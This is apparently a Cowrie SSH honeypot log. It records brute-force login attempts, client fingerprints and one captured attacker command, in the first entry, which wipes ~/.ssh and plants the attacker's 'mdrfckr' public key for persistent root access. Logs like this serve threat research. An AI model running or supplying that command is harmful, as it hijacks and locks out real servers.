{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.121161Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.321593Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.325783Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":52060,"dst_ip":"10.17.0.5","dst_port":22,"session":"57eb926b3a3f","protocol":"ssh","message":"New connection: 35.240.75.51:52060 (10.17.0.5:22) [session: 57eb926b3a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.395927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.399386Z","src_ip":"35.240.75.51","session":"57eb926b3a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.562780Z","src_ip":"35.240.75.51","session":"57eb926b3a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:29.127129Z","src_ip":"35.240.75.51","session":"57eb926b3a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":51632,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa3996ba9b1","protocol":"ssh","message":"New connection: 103.218.242.31:51632 (10.17.0.5:22) [session: eaa3996ba9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.018037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.023082Z","src_ip":"103.218.242.31","session":"eaa3996ba9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.242447Z","src_ip":"103.218.242.31","session":"eaa3996ba9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.304844Z","src_ip":"35.240.75.51","session":"57eb926b3a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":41880,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50499ed618f","protocol":"ssh","message":"New connection: 35.240.75.51:41880 (10.17.0.5:22) [session: f50499ed618f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.380476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.385221Z","src_ip":"35.240.75.51","session":"f50499ed618f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:30.567655Z","src_ip":"35.240.75.51","session":"f50499ed618f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:31.127878Z","src_ip":"35.240.75.51","session":"f50499ed618f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:31.151304Z","src_ip":"103.218.242.31","session":"eaa3996ba9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:31.319294Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:31.322304Z","src_ip":"35.240.75.51","session":"f50499ed618f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:32.372490Z","src_ip":"103.218.242.31","session":"eaa3996ba9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":36712,"dst_ip":"10.17.0.5","dst_port":22,"session":"f97d837ffa6d","protocol":"ssh","message":"New connection: 154.125.147.88:36712 (10.17.0.5:22) [session: f97d837ffa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:58.039986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:58.043669Z","src_ip":"154.125.147.88","session":"f97d837ffa6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:58.285933Z","src_ip":"154.125.147.88","session":"f97d837ffa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:59.326715Z","src_ip":"154.125.147.88","session":"f97d837ffa6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:00.571759Z","src_ip":"154.125.147.88","session":"f97d837ffa6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":59708,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f72003166a2","protocol":"ssh","message":"New connection: 116.71.136.125:59708 (10.17.0.5:22) [session: 4f72003166a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:04.488483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:04.492202Z","src_ip":"116.71.136.125","session":"4f72003166a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:04.700559Z","src_ip":"116.71.136.125","session":"4f72003166a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:05.568319Z","src_ip":"116.71.136.125","session":"4f72003166a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:06.777954Z","src_ip":"116.71.136.125","session":"4f72003166a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":8536,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a4cf50f499","protocol":"ssh","message":"New connection: 103.62.152.202:8536 (10.17.0.5:22) [session: 95a4cf50f499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:12.599630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:12.604397Z","src_ip":"103.62.152.202","session":"95a4cf50f499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:12.875077Z","src_ip":"103.62.152.202","session":"95a4cf50f499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:13.989750Z","src_ip":"103.62.152.202","session":"95a4cf50f499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:15.263703Z","src_ip":"103.62.152.202","session":"95a4cf50f499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":54514,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e61a53cf02","protocol":"ssh","message":"New connection: 51.183.250.100:54514 (10.17.0.5:22) [session: 74e61a53cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:20.388935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:20.393307Z","src_ip":"51.183.250.100","session":"74e61a53cf02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:20.480498Z","src_ip":"51.183.250.100","session":"74e61a53cf02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"common","password":"Common123","message":"login attempt [common/Common123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:20.865375Z","src_ip":"51.183.250.100","session":"74e61a53cf02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:21.957240Z","src_ip":"51.183.250.100","session":"74e61a53cf02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46280,"dst_ip":"159.203.135.109","dst_port":22,"session":"01bf729ad002","protocol":"ssh","message":"New connection: 3.130.168.2:46280 (159.203.135.109:22) [session: 01bf729ad002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:27.907909Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:27.912764Z","src_ip":"3.130.168.2","session":"01bf729ad002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:27.916561Z","src_ip":"3.130.168.2","session":"01bf729ad002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46294,"dst_ip":"159.203.135.109","dst_port":22,"session":"a353d9806b2e","protocol":"ssh","message":"New connection: 3.130.168.2:46294 (159.203.135.109:22) [session: a353d9806b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:29.544030Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:29.548625Z","src_ip":"3.130.168.2","session":"a353d9806b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:29.552064Z","src_ip":"3.130.168.2","session":"a353d9806b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"873d537db01c","protocol":"ssh","message":"New connection: 92.118.39.92:57630 (159.203.135.109:22) [session: 873d537db01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:36.667980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:36.673457Z","src_ip":"92.118.39.92","session":"873d537db01c","protocol":"ssh"}
